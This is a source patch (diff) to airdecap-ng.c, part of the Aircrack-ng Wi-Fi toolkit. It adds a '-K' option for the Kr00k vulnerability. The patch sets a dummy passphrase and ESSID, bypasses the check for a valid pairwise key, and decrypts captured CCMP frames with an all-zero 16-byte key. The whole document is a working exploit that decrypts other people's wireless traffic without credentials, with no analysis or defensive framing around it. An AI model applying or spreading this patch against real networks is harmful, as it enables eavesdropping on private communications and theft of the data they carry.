--- airdecap-ng.c.org	2020-03-05 12:52:07.504192807 +0100
+++ airdecap-ng.c	2020-03-09 21:15:38.299345617 +0100
@@ -78,6 +78,9 @@
 	"\n"
 	"      --help     : Displays this usage screen\n"
 	"\n"
+	"  Kr00k specific options:\n"
+	"      -K	 : decrypt kr00k packets\n"
+	"\n"
 	"  If your capture contains any WDS packet, you must specify the -b\n"
 	"  option (otherwise only packets destined to the AP will be decrypted)\n"
 	"\n";
@@ -108,6 +111,7 @@
 	int store_bad;
 	char decrypted_fpath[65536];
 	char corrupted_fpath[65536];
+	int kr00k;
 } opt;
 
 static unsigned char buffer[65536];
@@ -249,7 +253,7 @@
 										  {0, 0, 0, 0}};
 
 		int option = getopt_long(
-			argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index);
+			argc, argv, "lb:k:e:o:p:w:c:HK", long_options, &option_index);
 
 		if (option < 0) break;
 
@@ -473,6 +477,20 @@
 								  _RC));
 				return (EXIT_FAILURE);
 
+			case 'K':
+
+				opt.kr00k = 1;
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(opt.passphrase, 0, 14);
+				strncpy(opt.passphrase, "anypasswilldo\x00", 14);
+
+                                memset(opt.essid, 0, 6);
+                                strncpy(opt.essid, "dummy\x00", 6);
+
+				break;
+
 			default:
 				goto usage;
 		}
@@ -934,7 +952,7 @@
 
 				/* if the PTK is valid, try to decrypt */
 
-				if (!st_cur->valid_ptk) continue;
+				if (!st_cur->valid_ptk && !opt.kr00k) continue;
 
 				if (st_cur->keyver == 1)
 				{
@@ -947,9 +965,18 @@
 					pkh.len -= 20;
 					pkh.caplen -= 20;
 				}
-				else if (st_cur->keyver == 2)
+				else if (st_cur->keyver == 2 || opt.kr00k)
 				{
-					if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
+					unsigned char _pkt[16];
+					if (opt.kr00k)
+					{
+						memcpy(_pkt, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
+					} 
+					else 
+					{
+						memcpy(_pkt, st_cur->ptk + 32, 16);
+					}
+					if (decrypt_ccmp(h80211, pkh.caplen, _pkt) == 0)
 					{
 						stats.nb_failed_ccmp++;
 						continue;
